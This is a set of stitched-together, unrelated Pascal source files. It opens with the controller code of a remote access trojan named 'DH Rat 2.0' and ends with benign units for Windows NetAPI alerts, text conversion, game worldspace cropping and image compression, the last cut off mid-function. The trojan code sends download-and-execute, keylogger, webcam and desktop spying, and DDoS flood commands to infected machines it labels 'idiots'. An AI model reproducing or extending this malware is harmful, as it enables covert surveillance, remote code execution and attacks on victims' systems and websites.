procedure TFormHome.ItemSpeakClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Text : ', '');
if not(argument1 = '') then
begin
Send_Command('![speak] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemPlayBeepsClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Text : ', '');
if not(argument1 = '') then
begin
Send_Command('![play_beeps] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemListDrivesClick(Sender: TObject);
begin
Send_Command('![list_drives]');
end;
procedure TFormHome.ItemListServicesClick(Sender: TObject);
begin
Send_Command('![list_services]');
end;
procedure TFormHome.ItemListWindowsClick(Sender: TObject);
begin
Send_Command('![list_windows]');
end;
procedure TFormHome.ItemDownloadAndExecuteClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'URL : ', '');
argument2 := InputBox('DH Rat 2.0', 'New name : ', '');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![download_and_execute] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemWallpaperChangeClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'URL : ', '');
if not(argument1 = '') then
begin
Send_Command('![download_and_change_wallpaper] [argument1]' + argument1 +
'[argument1]');
end;
end;
procedure TFormHome.ItemScreensaverChangeClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'URL : ', '');
if not(argument1 = '') then
begin
Send_Command('![download_and_change_screensaver] [argument1]' + argument1 +
'[argument1]');
end;
end;
procedure TFormHome.ItemPrinterBomberClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'File to print : ', '');
argument2 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![printer_bomber] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemFormBomberClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Title : ', '');
argument2 := InputBox('DH Rat 2.0', 'Text : ', '');
argument3 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') and not(argument2 = '') and not(argument3 = '') then
begin
Send_Command('![form_bomber] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2][argument3]' +
argument3 + '[argument3]');
end;
end;
procedure TFormHome.ItemHTMLBomberClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Title : ', '');
argument2 := InputBox('DH Rat 2.0', 'Text : ', '');
argument3 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') and not(argument2 = '') and not(argument3 = '') then
begin
Send_Command('![html_bomber] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2][argument3]' +
argument3 + '[argument3]');
end;
end;
procedure TFormHome.ItemWindowsBomberClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') then
begin
Send_Command('![windows_bomber] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemBlockAllClick(Sender: TObject);
begin
Send_Command('![block_all]');
end;
procedure TFormHome.ItemSQLI_DoSClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Web : ', 'http://localhost/');
argument2 := InputBox('DH Rat 2.0', 'Count : ', '5');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![ddos_sqli_dos] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemHTTP_FloodClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Web : ', 'http://localhost/');
argument2 := InputBox('DH Rat 2.0', 'Count : ', '5');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![ddos_http_flood] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemSocket_FloodClick(Sender: TObject);
var
add_ip: string;
add_port: string;
begin
add_ip := InputBox('DH Rat 2.0', 'IP : ', '127.0.0.1');
add_port := InputBox('DH Rat 2.0', 'Port : ', '80');
argument2 := InputBox('DH Rat 2.0', 'Flood : ', 'GET / HTTP/1.1' + #13#10 +
'Host:' + '127.0.0.1' + #13#10 +
'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
+ #13#10 + 'Connection: Keep-Alive' + #13#10 + #13#10);
argument3 := InputBox('DH Rat 2.0', 'Count : ', '5');
if not(argument1 = '') and not(add_port = '') and not(argument2 = '') and
not(argument3 = '') then
begin
argument1 := '[ddos_socket_flood_ip]' + add_ip +
'[ddos_socket_flood_ip][ddos_socket_flood_port]' + add_port +
'[ddos_socket_flood_port]';
Send_Command('![ddos_socket_dos] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2][argument3]' +
argument3 + '[argument3]');
end;
end;
procedure TFormHome.ItemSlowlorisClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Web : ',
'http://localhost/index.php?id=');
argument2 := InputBox('DH Rat 2.0', 'Count : ', '5');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![ddos_slowloris] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemUDP_FloodClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'IP : ', '127.0.0.1');
argument2 := InputBox('DH Rat 2.0', 'Port : ', '6668');
argument3 := InputBox('DH Rat 2.0', 'Count : ', '5');
if not(argument1 = '') and not(argument2 = '') and not(argument3 = '') then
begin
Send_Command('![ddos_udp_flood] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2][argument3]' +
argument3 + '[argument3]');
end;
end;
procedure TFormHome.ItemKeyloggerClick(Sender: TObject);
begin
Send_Command('![keylogger_logs]');
end;
procedure TFormHome.ItemStartCaptureDesktopClick(Sender: TObject);
begin
Send_Command('![start_desktop_capture]');
capture_online := True;
desktop_online := True;
webcam_online := False;
frmDesktopCapture.imgCapture.Picture := nil;
end;
procedure TFormHome.ItemStopCaptureDesktopClick(Sender: TObject);
begin
Send_Command('![stop_desktop_capture]');
capture_online := False;
desktop_online := False;
webcam_online := False;
frmDesktopCapture.imgCapture.Picture := nil;
frmDesktopCapture.Caption := 'Desktop Capture';
frmDesktopCapture.Hide;
end;
procedure TFormHome.ItemStartCaptureWebcamClick(Sender: TObject);
begin
Send_Command('![start_webcam_capture]');
capture_online := True;
webcam_online := True;
desktop_online := False;
frmDesktopCapture.imgCapture.Picture := nil;
end;
procedure TFormHome.ItemStopCaptureWebcamClick(Sender: TObject);
begin
Send_Command('![stop_webcam_capture]');
capture_online := False;
webcam_online := False;
desktop_online := False;
frmDesktopCapture.Caption := 'Webcam Capture';
frmWebcamCapture.Hide;
end;
procedure TFormHome.ItemUninstallerClick(Sender: TObject);
begin
Send_Command('![uninstaller]');
end;
// End Of Commands
procedure TFormHome.ssRemoteServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
socket_buffer: array [0 .. 9999] of Char;
socket_data1, socket_data2: integer;
begin
socket_data1 := Socket.ReceiveLength;
while socket_data1 > 0 do
begin
try
begin
socket_data2 := Socket.ReceiveBuf(socket_buffer, Sizeof(socket_buffer));
if socket_data2 <= 0 then
begin
Break;
end
else
begin
file_stream.Write(socket_buffer, socket_data2);
end;
if file_stream.Size >= file_size then
begin
file_stream.Free;
if (capture_online = True) then
begin
if FileExists('screenshot.jpg') then
begin
if (desktop_online = True) then
begin
frmDesktopCapture.imgCapture.Picture.LoadFromFile
('screenshot.jpg');
end;
if (webcam_online = True) then
begin
frmWebcamCapture.imgCapture.Picture.LoadFromFile
('screenshot.jpg');
end;
DeleteFile('screenshot.jpg');
end;
end;
ssRemoteServer.Close;
Break;
end;
end;
except
begin
//
end;
end;
end;
end;
procedure TFormHome.ssServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
host, host_list: string;
begin
host := Socket.RemoteHost;
for i := 0 to lvIdiots.Items.Count - 1 do
begin
host_list := lvIdiots.Items[i].SubItems[0];
if (host = host_list) then
begin
lvIdiots.Items[i].Delete;
Dec(idiots_found);
idiots_found_now.Caption := 'Idiots found : ' + IntToStr(idiots_found);
message_box('DH Rat 2.0', 'Client ' + host + ' Disconnected',
'Information');
end;
end;
end;
procedure TFormHome.ssServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
code: string;
host: string;
ip: string;
country: string;
country_image: string;
username: string;
os: string;
var
output_socket: string;
data_socket: string;
cmd_socket: string;
Command: string;
begin
code := Socket.ReceiveText;
output_socket := code;
if (Pos('![noob_response]', code) > 0) then
begin
code := StringReplace(code, '![noob_response]', '',
[rfReplaceAll, rfIgnoreCase]);
console.Lines.Add(sLineBreak + '-------------------------------------' +
sLineBreak);
console.Lines.Add('[+] Idiot : ' + Socket.RemoteHost + sLineBreak);
console.Lines.Add(code);
console.Lines.Add(sLineBreak + '-------------------------------------');
end;
data_socket := copy(output_socket, 10, length(output_socket));
cmd_socket := copy(output_socket, 0, 9);
if (Pos('!CMD User : ', output_socket) > 0) then
begin
Command := output_socket;
Command := StringReplace(Command, '!CMD User : ', '',
[rfReplaceAll, rfIgnoreCase]);
username_idiot := Command;
end;
if (Pos('!CMD Webcam : ', output_socket) > 0) then
begin
Command := output_socket;
Command := StringReplace(Command, '!CMD Webcam : ', '',
[rfReplaceAll, rfIgnoreCase]);
webcam_idiot := Command;
end;
if (Pos('!CMD Status : ', output_socket) > 0) then
begin
Command := output_socket;
Command := StringReplace(Command, '!CMD Status : ', '',
[rfReplaceAll, rfIgnoreCase]);
status_idiot := Command;
if (status_idiot = 'READY') then
begin
if (desktop_online = True) then
begin
frmDesktopCapture.Caption := 'Username ' + username_idiot +
' : Connected';
frmDesktopCapture.Show;
end;
if (webcam_online = True) then
begin
frmWebcamCapture.Caption := 'Username ' + username_idiot +
' with webcam ' + webcam_idiot + ' : Recording';
frmWebcamCapture.Show;
end;
end
else
begin
if (desktop_online = True) then
begin
message_box('DH Rat 2.0', 'Connection not ready', 'Error');
end;
if (webcam_online = True) then
begin
message_box('DH Rat 2.0', 'Webcam not detected', 'Error');
end;
end;
end;
if (cmd_socket = '!FILENAME') then
begin
file_stream := TFileStream.Create(data_socket, fmCREATE or fmOpenWrite and
fmsharedenywrite);
if (desktop_online = True) then
begin
ssRemoteServer.Open;
end;
if (webcam_online = True) then
begin
ssRemoteServer.Open;
end;
end;
if (cmd_socket = '!FILESIZE') then
begin
file_size := StrToInt(data_socket);
end;
if (Pos('![noob_register]', code) > 0) then
begin
ip := regex(code, '[ip]', '[ip]');
country := regex(code, '[country]', '[country]');
country_image := regex(code, '[country_image]', '[country_image]');
username := regex(code, '[username]', '[username]');
os := regex(code, '[os]', '[os]');
if (ip = '') then
begin
ip := '';
end;
if (country = '') then
begin
country := '?';
end;
if (username = '') then
begin
username := '?';
end;
if (os = '') then
begin
os := '?';
end;
with lvIdiots.Items.Add do
begin
Inc(idiots_found);
Caption := IntToStr(idiots_found);
SubItems.Add(Socket.RemoteHost);
SubItems.Add(ip);
SubItems.Add(country);
SubItems.Add(username);
SubItems.Add(os);
end;
idiots_found_now.Caption := 'Idiots found : ' + IntToStr(idiots_found);
notificar.BalloonTitle := 'Idiot Found';
notificar.BalloonHint := ip;
notificar.ShowBalloonHint;
end;
if (Pos('![keylogger_logs]', code) > 0) then
begin
code := StringReplace(code, '![keylogger_logs]', '',
[rfReplaceAll, rfIgnoreCase]);
code := StringReplace(code, '[+] File open : OK', '',
[rfReplaceAll, rfIgnoreCase]);
if (FileExists('keylogger_logs.html')) then
begin
DeleteFile('keylogger_logs.html');
end;
savefile(GetCurrentDir + '\' + 'keylogger_logs.html', code);
message_box('DH Rat 2.0', 'Keylogger Logs Received', 'Information');
ShellExecute(0, nil, PChar(GetCurrentDir + '\' + 'keylogger_logs.html'),
nil, nil, SW_SHOWNORMAL);
end;
end;
procedure TFormHome.ssServerListen(Sender: TObject; Socket: TCustomWinSocket);
begin
status.Panels[0].text := '[+] Online';
status.Update;
end;
procedure TFormHome.StartServer1Click(Sender: TObject);
begin
ssServer.Active := True;
ssRemoteServer.Active := True;
status.Panels[0].text := '[+] Online';
status.Update;
end;
procedure TFormHome.StopServer1Click(Sender: TObject);
begin
ssServer.Active := False;
ssRemoteServer.Active := False;
status.Panels[0].text := '[+] OffLine';
status.Update;
end;
end.
// The End ?
|
unit lmalert;
interface
uses lmglobal;
const
ALERTER_MAILSLOT = '\\.\MAILSLOT\Alerter';
ALERT_PRINT_EVENT = 'PRINTING';
ALERT_MESSAGE_EVENT = 'MESSAGE';
ALERT_ERRORLOG_EVENT = 'ERRORLOG';
ALERT_ADMIN_EVENT = 'ADMIN';
ALERT_USER_EVENT = 'USER';
//
// Bitmap masks for prjob_status field of PRINTJOB.
//
// 2-7 bits also used in device status
PRJOB_QSTATUS = $3; // Bits 0,1
PRJOB_DEVSTATUS = $1fc; // 2-8 bits
PRJOB_COMPLETE = $4; // Bit 2
PRJOB_INTERV = $8; // Bit 3
PRJOB_ERROR = $10; // Bit 4
PRJOB_DESTOFFLINE = $20; // Bit 5
PRJOB_DESTPAUSED = $40; // Bit 6
PRJOB_NOTIFY = $80; // BIT 7
PRJOB_DESTNOPAPER = $100; // BIT 8
PRJOB_DELETED = $8000; // BIT 15
//
// Values of PRJOB_QSTATUS bits in prjob_status field of PRINTJOB.
//
PRJOB_QS_QUEUED = 0;
PRJOB_QS_PAUSED = 1;
PRJOB_QS_SPOOLING = 2;
PRJOB_QS_PRINTING = 3;
type
STD_ALERT = record
alrt_timestamp : Integer;
alrt_eventname : array [0..EVLEN] of WideChar;
alrt_servicename : array [0..SNLEN] of WideChar;
end;
PSTD_ALERT = ^STD_ALERT;
ADMIN_OTHER_INFO = record
alrtad_errcode : Integer;
alrtad_numstrings : Integer;
end;
PADMIN_OTHER_INFO = ^ADMIN_OTHER_INFO;
ERRLOG_OTHER_INFO = record
alrter_errcode : Integer;
alrter_offset : Integer;
end;
PERRLOG_OTHER_INFO = ^ERRLOG_OTHER_INFO;
PRINT_OTHER_INFO = record
alrtpr_jobid : Integer;
alrtpr_status : Integer;
alrtpr_submitted : Integer;
alrtpr_size : Integer;
end;
PPRINT_OTHER_INFO = ^PRINT_OTHER_INFO;
USER_OTHER_INFO = record
alrtus_errcode : Integer;
alrtus_numstrings : Integer;
end;
PUSER_OTHER_INFO = ^USER_OTHER_INFO;
function NetAlertRaise(AlertEventName : PWideChar; buffer : PChar; BufferSize : Integer) : NetAPIStatus; stdcall;
function NetAlertRaiseEx(AlertEventName : PWideChar; VariableInfo : Pointer; VariableInfoSize : Integer; ServiceName : PWideChar) : NetAPIStatus; stdcall;
function ALERT_OTHER_INFO (x : pointer) : pointer;
function ALERT_VAR_DATA (p : pointer; size : Integer) : pointer;
implementation
function ALERT_OTHER_INFO (x : pointer) : pointer;
begin
result := PChar (x) + sizeof (STD_ALERT)
end;
function ALERT_VAR_DATA (p : pointer; size : Integer) : pointer;
begin
result := PChar (p) + size
end;
function NetAlertRaise; external 'NETAPI32.DLL';
function NetAlertRaiseEx; external 'NETAPI32.DLL';
end.
|
unit ConverteTexto;
interface
uses Conversao, Dialogs ;
type
TConverteTexto = class(TConversao)
private
iQuantidadeLetras : Integer;
aTexto: String;
function GetTexto: String;
procedure SetTexto(const Value: String);
public
function Converter: String; override;
property QuantidadeLetras: Integer read iQuantidadeLetras write iQuantidadeLetras;
property Texto: String read GetTexto write SetTexto;
constructor Create;
destructor Destroy; Override;
end;
implementation
{ TConverteTexto }
function TConverteTexto.Converter: String;
begin
end;
constructor TConverteTexto.Create;
begin
iQuantidadeLetras := 0;
aTexto := '';
end;
destructor TConverteTexto.Destroy;
begin
inherited;
end;
function TConverteTexto.GetTexto: String;
begin
Result := aTexto;
end;
procedure TConverteTexto.SetTexto(const Value: String);
begin
if Value <> '' then
aTexto := Value
else
MessageDlg('Valor inválido para conversão.',mtError, [mbOK], 0);
end;
end.
|
{
Crop worldspace by removing cells and child references
}
unit userscript;
const
NWCellX = -64;
NWCellY = 64;
SECellX = 63;
SECellY = -63;
CellSize = 4096;
function Process(e: IInterface): integer;
var
Sig: string;
x, y: integer;
begin
Sig := Signature(e);
// remove out of bounds cells, skip 0,0 persistent cell
if (Sig = 'CELL') and not GetIsPersistent(e) then begin
x := GetElementNativeValues(e, 'XCLC\X');
y := GetElementNativeValues(e, 'XCLC\Y');
if (x < NWCellX) or (x > SECellX) or (y > NWCellY) or (y < SECellY) then
RemoveNode(e);
end else
// remove out of bounds references
if (Sig = 'REFR') or (Sig = 'PGRE') or (Sig = 'PMIS') or (Sig = 'ACHR') or (Sig = 'ACRE') or
(Sig = 'PARW') or (Sig = 'PBAR') or (Sig = 'PBEA') or (Sig = 'PCON') or (Sig = 'PFLA') or
(Sig = 'PHZD')
then begin
x := GetElementNativeValues(e, 'DATA\Position\X');
y := GetElementNativeValues(e, 'DATA\Position\Y');
if (x < NWCellX*CellSize) or (x > SECellX*CellSize) or (y > NWCellY*CellSize) or (y < SECellY*CellSize) then
RemoveNode(e);
end;
end;
end. |
(*
@abstract(Unité regroupant plusieurs classes de gestion d'algorithmes de compressions.)
Les algorithmes supportés ici s'utilisent principalement avec des données provenent d'images (BMP, TGA, PCX etc...)
Les méthodes supportées :
@unorderedlist(
@item(RLE_BMP, RLE_TGA, RLA_PCX, RLE_PackBits)
@item(LZW, Huffman, thunder)
)
--------------------------------------------------------------------------------
@created(2018-07-11)
@author(J.Delauney (BeanzMaster))
Historique : @br
@unorderedList(
@item(03/08/2017 : Creation)
)
--------------------------------------------------------------------------------
@bold(Notes) : TODO : Prise en charge d'une liste de Décodeur/Encodeur (RLE_RAW, RLE_BMP, RLE_TGA,
RLE_PCX, RLE_RLA, LZ77, LZW, HUFFMan ect...)
--------------------------------------------------------------------------------
@bold(Dependances) : ZBase, BZClasses, BZStreamClasses
--------------------------------------------------------------------------------
@bold(Credits :)
@unorderedList(
@item(unité à été adpaté de l'unité GraphicCompression.Pas de la librairie GraphicEX)
@item(J.Delauney (BeanzMaster))
)
--------------------------------------------------------------------------------
@bold(LICENCE) : MPL / GPL
-------------------------------------------------------------------------------- *)
unit BZBitmapCompression;
//==============================================================================
{$mode objfpc}{$H+}
{$i ..\bzscene_options.inc}
//==============================================================================
interface
uses
Classes, SysUtils, Dialogs,
//ZLib 1.1.2
ZBase,
BZClasses, BZStreamClasses;
type
{ Classe décorative pour définir les fonctionnalités
de base d'un encodeur / décodeur ; compresseur / décompresseur.
Modifié et adapté de GraphicEx
}
TBZCustomBitmapEncoder = class(TBZUpdateAbleObject)
private
FDataOwner : TBZCustomDataFile;
protected
property Owner : TBZCustomDataFile Read FDataOwner;
public
constructor Create(AOwner : TBZCustomDataFile); overload;
Destructor Destroy; Override;
{ Initialisation du décodage des données }
procedure DecodeInit; virtual;
{ Décodage des données, renvoie dans "Dest" les données décodées.
La lecture des données compressées se fait via la propriété "Memory" du "Owner".
Ainsi lors de la lecture a partir d'un flux, la position dans celui-ci est conservé et la
lecture séquentielle peux se poursuivre. }
procedure Decode(var Dest: Pointer; UnpackedSize: Integer); virtual;abstract;
{ Finalisation du décodagedes données }
procedure DecodeEnd; virtual;
{ Initialisation de l'encodage des données }
procedure EncodeInit; virtual;
{ Encodage des données, renvoie dans "Dest" les données encodées.
L'écriture des données se fait via la propriété "Memory" du "Owner".
Ainsi lors de l'écriture dans le flux, la position dans celui-ci est conservé et la
l'écriture séquentielle peux se poursuivre. }
procedure Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal); virtual; abstract;
{ Finalisation de l'encodage des données }
procedure EncodeEnd; virtual;
end;
TBZDataEncoderClass = class of TBZCustomBitmapEncoder;
// TBZDataEncoderRLE_RAW = class(TBZCustomDataEncoder);
//TBZDataEncoderRLE_BMP = class(TBZCustomDataEncoder);
//TBZDataEncoderRLE_TGA = class(TBZCustomDataEncoder);
{ Edncodeur / decodeur PCX }
TBZDataEncoderRLE_PCX = class(TBZCustomBitmapEncoder)
public
procedure Decode(var Dest: Pointer; UnpackedSize: Integer); override;
procedure Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal); override;
end;
//TBZDataEncoderRLE_BMP = class(TBZCustomDataEncoder);
//TBZDataEncoderRLE_TGA = class(TBZCustomDataEncoder);
{ Encordeur / Decodeur RLA }
TBZDataEncoderRLA = class(TBZCustomBitmapEncoder)
public
procedure Decode(var Dest: Pointer; UnpackedSize: Integer); override;
procedure Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal); override;
end;
{ Decompression / Compression LZ via la librairie fournie avec FPC "pasZLib" }
TBZDataEncoderLZ77 = class(TBZCustomBitmapEncoder)
private
FBuffer:pointer;
FFlushMode: Integer; // one of flush constants declard in ZLib.pas
// this is usually Z_FINISH for PSP and Z_PARTIAL_FLUSH for PNG
FAutoReset: Boolean; // TIF, PSP and PNG share this decoder, TIF needs a reset for each
// decoder run
//FDecompressor : TDeCompressionStream;
//FCompressor : TCompressionStream;
//FZStream : TBZZLibStream;
FZStream:z_stream;
function GetAvailableInput: Integer;
function GetAvailableOutput: Integer;
protected
raw_written,compressed_written: int64;
raw_read,compressed_read:int64;
public
constructor Create(AOwner : TBZCustomDataFile; FlushMode: Integer; AutoReset: Boolean); overload;
procedure DecodeInit; override;
procedure Decode(var Dest: Pointer; UnpackedSize: Integer); override;
procedure DecodeEnd; override;
procedure Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal); override;
property AvailableInput: Integer read GetAvailableInput;
property AvailableOutput: Integer read GetAvailableOutput;
end;
implementation
//uses dialogs;
uses
// ZLib
ZDeflate, ZInflate
{$IFDEF DEBUG}
,BZLogger
{$ENDIF};
const GZBufsize=1024*64; {Size of the buffer used for temporarily storing
data from the child stream.}
{%region% =====[ TBZCustomBitmapEncoder ]=====================================}
constructor TBZCustomBitmapEncoder.Create(AOwner : TBZCustomDataFile);
begin
Inherited Create(nil);
FDataOwner := AOwner;
end;
Destructor TBZCustomBitmapEncoder.Destroy;
begin
Inherited Destroy;
end;
procedure TBZCustomBitmapEncoder.DecodeInit;
begin
// Rien à faire ici
end;
procedure TBZCustomBitmapEncoder.DecodeEnd;
begin
// Rien à faire ici
end;
procedure TBZCustomBitmapEncoder.EncodeInit;
begin
// Rien à faire ici
end;
procedure TBZCustomBitmapEncoder.EncodeEnd;
begin
// Rien à faire ici
end;
{%endregion%}
{%region% =====[ TBZDataEncoderRLE_BMP ]======================================}
{%endregion%}
{%region% =====[ TBZDataEncoderRLE_TGA ]======================================}
{%endregion%}
{%region% =====[ TBZDataEncoderRLE_PCX ]======================================}
procedure TBZDataEncoderRLE_PCX.Decode(var Dest: Pointer; UnpackedSize: Integer);
Var
OwnBitmap : TBZCustomDataFile; // On a juste besoin de la propriété "Memory" sinon on aurait pu choisir : "TBZBitmap"
DstPtr : PByte;
OpCode, Value : Byte;
Count : Integer;
begin
// Ici on a 2 solutions pour decoder :
// 1 : On lit et on transfert direct dans le owner, on verifie avec "packedSize, UnpackedSize" (OwnBitmap := TBZBitmap(Owner);)
// 2 : On lit et on renvoie le dest suivant "packedSize, UnpackedSize"
// J'ai choisi la 2 pour garder la main sur le controle des données de sortie
//GlobalLogger.LogNotice('TBZBitmapPCXImage ----> Decompression des données RLE ');
OwnBitmap := TBZCustomDataFile(FDataOwner);
DstPtr := PByte(Dest);
// UnpackedSize:=UnpackedSize+1;
while UnpackedSize > 0 do
begin
OpCode := OwnBitmap.Memory.ReadByte;
if (OpCode and $C0) = $C0 then
begin
// RLE-Code
Count := OpCode and $3F;
if UnpackedSize < Count then Count := UnpackedSize;
Value := OwnBitmap.Memory.ReadByte;
FillChar(DstPtr^, Count, Value);
Inc(DstPtr, Count);
Dec(UnpackedSize, Count);
end
else
begin
// not compressed
DstPtr^ := OpCode;
Inc(DstPtr);
Dec(UnpackedSize);
end;
end;
end;
procedure TBZDataEncoderRLE_PCX.Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal);
begin
end;
{%endregion%}
{%region% =====[ TBZDataEncoderRLA ]==========================================}
procedure TBZDataEncoderRLA.Decode(var Dest: Pointer; UnpackedSize: Integer);
// decodes a simple run-length encoded strip of size PackedSize
// this is very similar to TPackbitsRLEDecoder
var
OwnBitmap : TBZCustomDataFile;
TmpPtr,
SourcePtr,
TargetPtr: PByte;
N: SmallInt;
B:byte;
//Counter,
PackedSize : Integer;
RLELength: Word;
//RawBuf:pointer;
begin
Assert(Dest=nil,'La destination ne peut pas être nulle');
//GlobalLogger.LogNotice('RLA DECOMPRESSOR');
OwnBitmap := TBZCustomDataFile(FDataOwner);
TargetPtr := PByte(Dest);
//Counter:=0;
TmpPtr := OwnBitmap.Memory.GetBuffer;
SourcePtr:=PByte(TmpPtr+OwnBitmap.Memory.position);
//RawBuf:=nil;
// RLELength:=OwnBitmap.Memory.ReadWord;
// RLELength := Swap(RLELength);
// PackedSize := RLELength;
// //GlobalLogger.LogStatus('--> RLE LENGTH : '+InttoStr(packedSize));
// GetMem(RawBuf, RLELength);
// OwnBitmap.Memory.Read(RawBuf^, RLELength);
// SourcePtr := PByte(RawBuf);
(* while PackedSize > 0 do
begin
N := ShortInt(SourcePtr^);
Inc(SourcePtr);
Dec(PackedSize);
if N >= 0 then // replicate next Byte N + 1 times
begin
// FillChar(TargetPtr^, N + 1, SourcePtr^);
// B := ;
FillChar(TargetPtr^, N + 1, SourcePtr^);
Inc(TargetPtr, N + 1);
Inc(SourcePtr);
Dec(PackedSize);
Inc(Counter,N+1);
end
else
begin // copy next -N bytes literally
Move(SourcePtr^, TargetPtr^, -N);
Inc(TargetPtr, -N);
Inc(SourcePtr, -N);
Inc(PackedSize, N);
Inc(Counter,-N);
end;
//GlobalLogger.LogStatus('--> Rest of UnPacked : '+InttoStr(packedSize));
//GlobalLogger.LogStatus('--> UnPackedSize : '+InttoStr(UnpackedSize)+' = '+Inttostr(Counter+1));
end; *)
while UnpackedSize > 0 do
begin
// //GlobalLogger.LogStatus('--> Rest of UnPacked : '+InttoStr(UnpackedSize));
B:=SourcePtr^; //OwnBitmap.Memory.ReadByte;
N := ShortInt(B);
Inc(SourcePtr);
Dec(UnPackedSize);
if N >= 0 then // replicate next Byte N + 1 times
begin
B:=SourcePtr^;// OwnBitmap.Memory.ReadByte
FillByte(TargetPtr^, N + 1, B);
Inc(TargetPtr, N + 1);
Inc(SourcePtr);
Dec(UnPackedSize, N+1);
end
else
begin // copy next -N bytes literally
N:=Abs(N);
Dec(SourcePtr,N);
Move(SourcePtr^, TargetPtr^, N);
Inc(TargetPtr, N);
Inc(SourcePtr, N);
Dec(UnPackedSize, N);
end;
end;
// FreeMem(RawBuf);
//RawBuf:=nil;
end;
procedure TBZDataEncoderRLA.Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal);
begin
end;
{%endregion%}
{%region% =====[ TBZDataEncoderLZ77 ]=========================================}
constructor TBZDataEncoderLZ77.Create(AOwner : TBZCustomDataFile; FlushMode: Integer; AutoReset: Boolean);
begin
Inherited Create(AOwner);
FillChar(FZStream, SizeOf(FZStream), 0);
FFlushMode := FlushMode;
FAutoReset := AutoReset;
end;
function TBZDataEncoderLZ77.GetAvailableInput: Integer;
begin
Result:=FZStream.avail_in;
end;
function TBZDataEncoderLZ77.GetAvailableOutput: Integer;
begin
result:=FZStream.avail_out;
end;
procedure TBZDataEncoderLZ77.DecodeInit;
begin
if InflateInit(FZStream) < 0 then ShowMessage('Erreur Init LZ77');
// CompressionError(gesLZ77Error);
end;
procedure TBZDataEncoderLZ77.Decode(var Dest: Pointer; UnpackedSize: Integer);
var err:smallint;
lastavail:longint;
begin
(* FStream.NextIn := Source;
FStream.AvailIn := PackedSize;
if FAutoReset then
FZLibResult := InflateReset(FStream);
if FZLibResult = Z_OK then
begin *)
FZStream.next_out:=@Dest;
FZStream.avail_out:=UnpackedSize;
lastavail:=UnpackedSize;
while FZStream.avail_out<>0 do
begin
if FZStream.avail_in=0 then
begin
{Refill the buffer.}
FZStream.next_in:=FBuffer;
FZStream.avail_in:=Owner.Memory.read(Fbuffer^,GZBufsize);
inc(compressed_read,FZStream.avail_in);
inc(raw_read,lastavail-FZStream.avail_out);
lastavail:=FZStream.avail_out;
// progress(self);
end;
err:=inflate(FZStream,Z_NO_FLUSH);
if err=Z_STREAM_END then
break;
if err<>Z_OK then
raise EGZDecompressionError.create(zerror(err));
end;
if err=Z_STREAM_END then
dec(compressed_read,FZStream.avail_in);
inc(raw_read,lastavail-FZStream.avail_out);
// Result:=UnpackedSize-FZStream.avail_out;
(* FStream.NextOut := Dest;
FStream.AvailOut := UnpackedSize;
FZLibResult := Inflate(FStream, FFlushMode);
// advance pointers so used input can be calculated
Source := FStream.NextIn;
Dest := FStream.NextOut; *)
end;
procedure TBZDataEncoderLZ77.Encode(Source : Pointer; var Dest: Pointer; Count: Cardinal; var BytesStored: Cardinal);
var err:smallint;
lastavail,
written:longint;
begin
FZStream.next_in:=@Dest;
FZStream.avail_in:=Count;
lastavail:=count;
Written:=0;
while FZStream.avail_in<>0 do
begin
if FZStream.avail_out=0 then
begin
{ Flush the buffer to the stream and update progress }
// written:=source.write(Source^,Count);
inc(compressed_written,written);
inc(raw_written,lastavail-FZStream.avail_in);
lastavail:=FZStream.avail_in;
// progress(self);
{ reset output buffer }
// FZStream.next_out:=Fbuffer;
// FZStream.avail_out:=GZbufsize;
end;
